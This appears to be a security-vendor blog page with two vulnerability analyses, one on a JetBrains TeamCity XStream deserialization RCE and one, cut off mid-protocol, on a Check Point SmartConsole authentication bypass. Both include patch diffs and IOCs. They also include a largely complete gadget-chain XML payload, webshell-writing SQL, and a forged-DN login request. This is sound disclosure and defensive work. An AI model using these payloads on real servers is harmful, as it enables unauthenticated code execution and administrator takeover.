Normal view

There are new articles available, click to refresh the page.
Before yesterdayRapid7 Cybersecurity Blog

Rapid7 Analysis: Unauthenticated Remote Code Execution in JetBrains TeamCity (CVE-2026-63077)

7 August 2026 at 10:32

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.

JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild.

Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding NoTypePermission.NONE before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive.

Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found here.

Analysis

Our analysis compares a vulnerable TeamCity version 2026.1.2 against a patched version 2026.1.3.

TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under /app/agents/v1 support this agent communication channel rather than the TeamCity web interface or REST API. A TeamCity-AgentSessionId HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.

XStream is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An object graph can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, <linked-hash-map> is XStream's alias for java.util.LinkedHashMap. Nested element names and class attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.

Patch diff

The class jetbrains.buildServer.messages.XStreamHolder is TeamCity's wrapper for creating and configuring XStream instances. TeamCity 2026.1.2 creates an instance of XStreamHolder, configures it, and then calls setupSecurityIfNeeded(). If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:

// ./webapps/ROOT/WEB-INF/lib/messages.jar
package jetbrains.buildServer.messages;

public class XStreamHolder {

// ...

private void setupSecurityIfNeeded(XStreamWrapper xStream) {
  if (this.myAdditionalClassesWhiteList.isEmpty()
            && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
    XStreamHolder.setupDefaultSecurityOldWay(xStream);
    return;
  }
    xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
        .toArray(new String[0]));                         // <--- [1]
    xStream.allowTypes(this.myAdditionalClassesWhiteList
        .toArray(new String[0]));                         // <--- [2]
}

The calls at [1] and [2] do not start from an empty permission set. The bundled XStream 1.4.20.3 constructor has already called setupSecurity(), which permits several broad type hierarchies, including Map and Throwable:

// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // <--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // <--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // <--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...

Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.

The patch from version 2026.1.3 can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:

+import com.thoughtworks.xstream.security.NoTypePermission;

+private static volatile boolean isWhiteListForced = true;

+public static void forceWhiteList(boolean force) {
+    isWhiteListForced = force;
+}

 private void setupSecurityIfNeeded(XStreamWrapper xStream) {
     if (this.myAdditionalClassesWhiteList.isEmpty()
             && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
         XStreamHolder.setupDefaultSecurityOldWay(xStream);
         return;
     }
+    if (isWhiteListForced) {
+        xStream.addPermission(NoTypePermission.NONE);    // <--- [3] Clears all existing permissions
+    }
     xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
         .toArray(new String[0]));
     xStream.allowTypes(this.myAdditionalClassesWhiteList
         .toArray(new String[0]));
 }

The patched initializer turns the new behavior on before it populates the static allowlist:

 public static void initializeWhiteList() {
     String string = TeamCityProperties.getProperty(
         (String)"teamcity.xstream.additionalAllowedClassNames", (String)""
     );
     if ("*".equals(string)) {
         return;
     }
+    XStreamHolder.forceWhiteList((boolean)TeamCityProperties.getBooleanOrTrue(
+        (String)"teamcity.xstream.whiteList.forced"
+    ));                                                     // <--- [4]
     XStreamHolder.addClassesWhiteList((String[])CLASSES_WHITE_LIST);
     XStreamHolder.addClassesWhiteList((String[])string.split(","));
 }

XStream's SecurityMapper.addPermission() clears its permission list when it receives NoTypePermission.NONE. The allowTypes calls that follow [3] now operate on a deny-by-default baseline, i.e., Map and Throwable are no longer allowed types. The TeamCityProperties.getBooleanOrTrue() call at [4] means the new property defaults to true, so clearing the permission list at [3] will now occur by default on a patched server.

Root cause

The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting Map therefore covers classes that implement Map such as LinkedHashMap, while permitting Throwable covers exception subclasses such as RuntimeException. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.

The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented class name or class attribute passes through SecurityMapper.realClass(). By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete class attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.

Applied here, this allows a deserialization payload that begins with TeamCity's HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing HSQLMetadataStorage instance. From there, the exact declared fields myHSQLStorage and myDataSource lead XStream to an org.apache.commons.dbcp2.BasicDataSource. XStream follows those field types without resolving BasicDataSource from an explicit element name or class attribute, even though TeamCity 2026.1.2 rejects that class when the XML names it directly. The patched version 2026.1.3 stops the chain earlier by rejecting SchemaMismatchException, which is absent from TeamCity's explicit protocol allowlist.

Triggering the vulnerability

First, the server accepts an agent registration request via an HTTP POST to the /app/agents/v1/register endpoint, and returns a new session identifier in the TeamCity-AgentSessionId response header.

The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the /app/agents/v1/commands/error endpoint. The handler for this endpoint is the method handleCommands, shown below. This will validate the incoming request’s TeamCity-AgentSessionId header before calling the handler for the error command.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // <--- call the error handler
          }
      }
      return null;
  }

The method handleCommandIsFailedRequest will then proceed to unsafely deserialize the incoming request’s XML body.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // <--- deserialize attacker's XML

    // ...
}

Error.fromXml() calls XStreamWrapper.deserializeObject(). By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.

The gadget chain

The gadget chain's objective is to make TeamCity call BasicDataSource.getConnection() on an attacker-configured object. That getter starts the following path from deserialization to command execution:

  1. The payload reconstructs a BasicDataSource configured to use TeamCity's bundled HSQLDB driver.

  2. A collection callback causes FreeMarker to resolve the JavaBean property connection, which invokes BasicDataSource.getConnection().

  3. Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in connectionInitSqls.

  4. The final SQL statement uses HSQLDB's SCRIPT command to write a malicious JSPWS file into TeamCity's webroot.

  5. The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example Runtime.getRuntime().exec() can be used to execute an attacker-controlled OS command.

The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects BasicDataSource when the XML names it directly, and merely constructing a datasource does not call its getConnection() method.

Object graph construction

The payload's XML root is a three-entry LinkedHashMap. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named connection.

figure1.png

Figure 1: High-level gadget chain flow to BasicDataSource.getConnection().

The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the LinkedHashMap retains their insertion order in the resulting Java object.

Entry one: construct and configure the datasource

The first entry begins with HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden this$0 field pointing to its enclosing HSQLMetadataStorage object. XStream serializes that compiler-generated reference as outer-class.

The enclosing HSQLMetadataStorage declares a field named myHSQLStorage with the exact type HSQLStorage. That class, in turn, declares myDataSource with the exact type BasicDataSource. Because the XML does not represent either field with a new element type or class attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:

<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  <outer-class>
    <myHSQLStorage>
      <myDataSource>
        <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
        <url>jdbc:hsqldb:mem:<random></url>
        <userName>SA</userName>
        <connectionInitSqls>
<!-- attacker-controlled HSQLDB statements -->
</connectionInitSqls>
      </myDataSource>
    </myHSQLStorage>
  </outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>

XStream encodes the dollar sign in a Java inner-class name as _- when it creates an XML element name. The element ending in HSQLMetadataStorage_-SchemaMismatchException therefore identifies the Java class HSQLMetadataStorage$SchemaMismatchException.

Entry two: expose the datasource through FreeMarker

The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker HashAdapter. HashAdapter extends AbstractMap, so XStream accepts the explicit class under its default Map hierarchy permission.

The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a BooleanModel through the exact BeansWrapper.falseModel field, then populates the model's inherited BeanModel.object field with a reference to the BasicDataSource in entry one instead of a Boolean value. Finally, HashAdapter.model refers to that BooleanModel:

<freemarker.ext.beans.HashAdapter>
  <wrapper>
    <!-- Class-introspection state from the PoC is omitted here. -->
    <falseModel>
      <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
      <wrapper reference="../.."/>
      <value>false</value>
    </falseModel>
    <!-- Remaining BeansWrapper state from the PoC is omitted here. -->
  </wrapper>
  <model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>

The reference attributes preserve object identity rather than create copies. BooleanModel.object points to the existing datasource, HashAdapter.model points to the existing BooleanModel, and BooleanModel.wrapper points back to the same BeansWrapper. No reference introduces a new concrete class node. In particular, <object> does not repeat the BasicDataSource type, so XStream does not perform a new explicit lookup for that denied class. The shared BeansWrapper supplies the class introspection used later to resolve the connection property.

Entry three: trigger the property lookup

The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a HashSet, accepted under XStream's default Collection hierarchy permission, and a Commons Collections TiedMapEntry, accepted under the default Map.Entry hierarchy permission. A TiedMapEntry ties a key to a backing map. Here, its map field refers to the HashAdapter from entry two, and its key is the string connection:

<set>
  <org.apache.commons.collections.keyvalue.TiedMapEntry>
    <map class="freemarker.ext.beans.HashAdapter"
         reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
  </org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>

The reference value is relative to the nested <map> element. Four ../ steps return to the LinkedHashMap root, and XPath's one-based entry[2] index selects the second entry. Reusing that adapter preserves its connection to the BooleanModel and, through the model, to the datasource from entry one.

Object construction now ends with one continuous route: TiedMapEntry to HashAdapter, HashAdapter to BooleanModel, and BooleanModel to BasicDataSource. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the TiedMapEntry into the HashSet.

Triggering gadget execution

A HashSet stores elements by hash. When XStream inserts the reconstructed TiedMapEntry, HashSet.add() automatically calls TiedMapEntry.hashCode(). That method calls getValue(), which performs map.get(key) against the referenced HashAdapter with connection as the key. It is worth noting that this is a mechanism very similar to that used by the classic CommonsCollections6 ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the ChainedTransformer and InvokerTransformer classes used by CommonsCollections6.

The resulting call to HashAdapter.get("connection") passes the property name connection to the referenced BooleanModel. BooleanModel inherits FreeMarker's BeanModel property lookup. JavaBeans use a naming convention in which a property named connection can be read through a public getConnection() method, so FreeMarker invokes BasicDataSource.getConnection().

A Java DataSource is a factory for Java Database Connectivity (JDBC) connections. BasicDataSource is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized jdbc:hsqldb:mem: URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled connectionInitSqls, a list of SQL statements intended to initialize each new connection.

The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:

CREATE TABLE IF NOT EXISTS T<RANDOM>(C<RANDOM> VARCHAR(4000))
INSERT INTO T<RANDOM> VALUES ('<% ... Runtime.getRuntime().exec(command) ... %>')
SCRIPT '../webapps/ROOT/<random-hex>.jspws'

HSQLDB's SCRIPT statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by Secfault Security as part of a LibreOffice exploit.

Executing a JSP payload

Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in WEB-INF/web.xml. TeamCity defines realJspServlet as Jasper's org.apache.jasper.servlet.JspServlet, then maps the custom *.jspws extension directly to it. By contrast, TeamCity sends ordinary *.jsp requests to its buildServer dispatcher:

<servlet>
  <servlet-name>realJspServlet</servlet-name>
  <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>realJspServlet</servlet-name>
  <url-pattern>*.jspws</url-pattern>
</servlet-mapping>

<servlet-mapping>
  <servlet-name>buildServer</servlet-name>
  <url-pattern>*.jsp</url-pattern>
</servlet-mapping>

The buildServer servlet does not dispatch every direct .jsp request to Jasper. The corresponding JspController.doHandle() method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:

// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}

We therefore target .jspws, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as Runtime.getRuntime().exec() which in turn can deliver the payload.

Exploitation

A proof-of-concept script for CVE-2026-63077 can be found here. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.

poc2.png

Figure 2: Proof-of-concept exploitation.

The vendor-supplied patch, version 2026.1.3, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The teamcity-server.log file on a patched system shows the new XStream NoTypePermission.NONE added by the patch to effectively prevent the gadget chain's first entry, HSQLMetadataStorage$SchemaMismatchException, from having its type successfully resolved.

[2026-08-07 01:53:09,794]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
	at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
	at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
	at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
	at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
	...

IOC

On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file C:\TeamCity\logs\teamcity-server.log the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:

[2026-08-07 00:36:36,467]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------
	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
	...

A similar exception in a javaLogging file (for example, C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log) will also show the gadget chain’s JSPWS payload as part of an org.hsqldb.HsqlException message:

07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------] with root cause
	org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
		at org.hsqldb.error.Error.error(Unknown Source)
	...

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-63077, which contains further details.

Rapid7 Analysis: Check Point SmartConsole Authentication Bypass (CVE-2026-16232)

28 July 2026 at 14:32

Overview

On July 22, 2026, Check Point published a security advisory for CVE-2026-16232, an authentication bypass in the SmartConsole login process affecting Security Management Server and Multi-Domain Security Management Server (MDS). By leveraging CVE-2026-16232, an unauthenticated attacker can obtain an application login token, use this token to log in through SmartConsole with full administrator privileges, and modify the security policy or security configuration. Exploitation requires network access to the Management Server and for a Trusted Clients configuration that does not restrict GUI clients, which in our testing was a default setting. This vulnerability was reported as being exploited in the wild as a zero-day vulnerability at the time of disclosure.

Our analysis finds that the root cause of CVE-2026-16232 is a broken trust boundary in the application authentication path. A vulnerable server accepts an attacker-supplied Secure Internal Communication (SIC) distinguished name (DN) as the identity of a remote application instead of binding that identity to the authenticated remote peer certificate DN returned by getCertificateDnName(). An attacker can read the management server's own SIC DN during the unauthenticated bootstrap communication, replay that DN in a forged application certificate bind, obtain an application token, and then ask the legacy management service to mint a new SmartConsole single sign-on (SSO) ticket.

Rapid7 Labs has reproduced CVE-2026-16232 against affected R81.20 and R82.10 versions of the target software. Our proof-of-concept (PoC) exploit script can be used to successfully validate if a target is either vulnerable or patched. The vendor supplied patches have been confirmed to successfully remediate the vulnerability and prevent our PoC script from succeeding.

Analysis

SmartConsole is the desktop client administrators use to manage Check Point policy and configuration. A SmartConsole login crosses two generations of management plumbing over the network.

The first is the legacy FWM/CPMI service, listening on TCP 18190. It uses SIC, Check Point's certificate-based trust mechanism for communication between management components. Once the SIC bootstrap completes, FWM exchanges length-prefixed “FwSet” objects, a Check Point name/value encoding used by older management services.

The second is the newer CPM/DLE service. This exposes SOAP services over HTTPS on TCP 19009 under the URI path /cpmws/. SmartConsole uses these services for login, queries, and object operations. Authenticated requests carry DLESESSIONID and CLIENTSESSIONID header values to prove a client is authenticated.

The exploit for CVE-2026-16232 uses both the FWM/CPMI and CPM/DLE services. It first uses the native FWM/CPMI protocol to claim an application identity and obtain an application token via the root cause of the vulnerability. It then uses the accepted native application session to ask FWM for a SmartConsole SSO ticket, redeems the ticket over CPM's SOAP API, and receives a SmartConsole session.

The diagram below shows the flow for exploiting CVE-2026-16232.

figure1.png

Figure 1: Flow diagram of exploitation.

The application authentication boundary

The Java login service contains a bridge for FWM application based logins. The authenticateUser method splits the supplied username into an application name and a SIC DN, then passes both into cpApplicationAuthentication()

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private AuthenticationResponse authenticateUser(AuthenticationInfoBase authenticationInfoBase, String string, String string2, CPUUID cPUUID, boolean bl, LockAdminInfoContainer lockAdminInfoContainer, ExternalLoginInfo externalLoginInfo) throws AuthenticationFailureLoginException, LicenseExpiredLoginException {

// ...

} else if (authenticationInfoBase instanceof FwmAuthenticationInfo) {
    object2 = authenticationInfoBase.getUsername();
    int n = ((String)object2).toLowerCase().lastIndexOf("cn=");
    object = (FwmAuthenticationInfo)authenticationInfoBase;
    if (FwmLoginType.APPLICATION.equals((Object)object.getFwmLoginType())) {
        String suppliedSicDn = ((String)object2).substring(n); // <-- [1]
        String applicationName = ((String)object2).substring(0, n - 1); // <-- [2]
        TdLog.debug((CPLogger)c, (String)"Authenticating FwmAuthenticationInfo on behalf of application {}", (Object[])new Object[]{applicationName});
        CPApplicationAuthenticationInfo cPApplicationAuthenticationInfo = new CPApplicationAuthenticationInfo();
        cPApplicationAuthenticationInfo.setUsername(applicationName);
        this.cpApplicationAuthentication((AuthenticationInfoBase)cPApplicationAuthenticationInfo, suppliedSicDn, cPUUID);// <-- [3]
        authenticationInfoBase.setUsername(applicationName);

At [1] and [2], the login service treats attacker-controlled input as both the application name and the claimed SIC identity. At [3], the untrusted DN claim reaches the remote application authenticator as a separate argument.

The method that consumes that identity is authenticateRemoteApplication(). This method prefers the attacker-supplied DN whenever one is present.

// Source: work/t146/mgmt_wrapper.tgz:fw1/cpm-server/dleserver.jar.full!/com/checkpoint/management/dleserver/coresvc/internal/LoginSvcImpl.class

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn) throws AuthenticationFailureLoginException {
  String effectiveSicDn = suppliedSicDn == null
          ? this.j.getCertificateDnName()
          : suppliedSicDn; // <-- [1]
  CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
  if (effectiveSicDn.equals("CN=siclocal")) {
    this.authenticateLocal(applicationName);
  } else {
    this.t.identifyDomainForRemoteLogin(effectiveSicDn); // <-- [2]
  }
}

The problem is at [1]. The vulnerable code collapses the untrusted claim and the authenticated peer identity into one variable. If suppliedSicDn is present, the code never uses getCertificateDnName() at all. The method then uses the attacker-controlled value at [2] to identify the login domain. In practice, a remote client can copy the management server's own SIC DN into :DN and authenticate as a remote application without presenting a client certificate for that identity.

What the patch changes

Our analysis compares the decompiled com.checkpoint.management.dleserver.coresvc.internal.LoginSvcImpl class from a vulnerable “R81.20 Jumbo Hotfix Take 146” against the patched “R81.20 Jumbo Hotfix Take 158”.

private void authenticateRemoteApplication(String applicationName, String suppliedSicDn)
         throws AuthenticationFailureLoginException {
-    String effectiveSicDn = suppliedSicDn == null
-        ? this.j.getCertificateDnName()
-        : suppliedSicDn;                                      // <-- [1]
-    CpAssert.cpassert(StringUtils.isNotEmpty(effectiveSicDn), "User DN name is not set");
+    String effectiveSicDn;
+    String certificateDn = this.j.getCertificateDnName();
+    String remoteIp = this.j.getRemoteIpAddress();
+    boolean localSic = IpUtils.isLoopback(remoteIp) && "CN=siclocal".equals(certificateDn);
+    if (localSic && suppliedSicDn != null) {
+        effectiveSicDn = suppliedSicDn;                       // <-- [2]
+    } else {
+        effectiveSicDn = certificateDn;                       // <-- [3]
+        boolean mismatch = suppliedSicDn != null
+            && StringUtils.isNotEmpty(certificateDn)
+            && !suppliedSicDn.equalsIgnoreCase(certificateDn);
+        if (mismatch) {
+            TdLog.error(c,
+                "Rejecting caller-supplied SIC name that does not match the client certificate DN for application {} from {}",
+                applicationName, remoteIp);
+            throw new AuthenticationFailureLoginException(
+                "Remote authentication failed for peer " + remoteIp + "."); // <-- [4]
+        }
+    }
+    if (Strings.isNullOrEmpty(effectiveSicDn)) {
+        TdLog.error(c, "Remote application {} login rejected: no authenticated SIC identity",
+            applicationName);
+        throw new AuthenticationFailureLoginException(
+            "Remote authentication failed for peer " + remoteIp + ".");     // <-- [5]
+    }
     if (effectiveSicDn.equals("CN=siclocal")) {
         this.authenticateLocal(applicationName);
     } else {
         this.t.identifyDomainForRemoteLogin(effectiveSicDn);
     }
 }

Shown above, the vulnerable “Take 146” accepts the caller's DN at [1]. The patched “Take 158” only allows a supplied DN for loopback CN=siclocal traffic at [2], which preserves the local application case. Remote clients now use the authenticated remote peer certificate DN at [3], and any mismatch between the supplied DN and that authenticated identity is rejected at [4]. The new empty identity check at [5] also prevents a remote application login when there is no authenticated SIC identity at all.

This is why replaying the management server's DN no longer works. The attacker can still send the same :DN text, but the patched remote path does not use that text as effectiveSicDn. If the client presents no certificate, as in our PoC, certificateDn is empty and the check at [5] rejects the login. If the client presents a certificate with some other DN, the mismatch check at [4] rejects the forged server DN. To make the supplied server DN survive the patched checks, the attacker would need an authenticated client certificate whose subject DN already matches that server DN, which removes the unauthenticated bypass.

Protocol flow to a SmartConsole session

The relevant application-layer traffic is shown below in the order our PoC sends it. For brevity, we have omitted the boilerplate CA and CRL bootstrap exchange as it is not pertinent to the vulnerability’s root cause.

After the SIC bootstrap, the PoC sends a certificate bind request that supplies the management server's own SIC DN (cp_mgmt,o=gw-5622ca..5otbwa in the example below):

(
    :local_bind (0)
    :token_bind (0)
    :DN ("cn=cp_mgmt,o=gw-5622ca..5otbwa") # <-- attacker-controlled identity
    :certificate_bind (1)
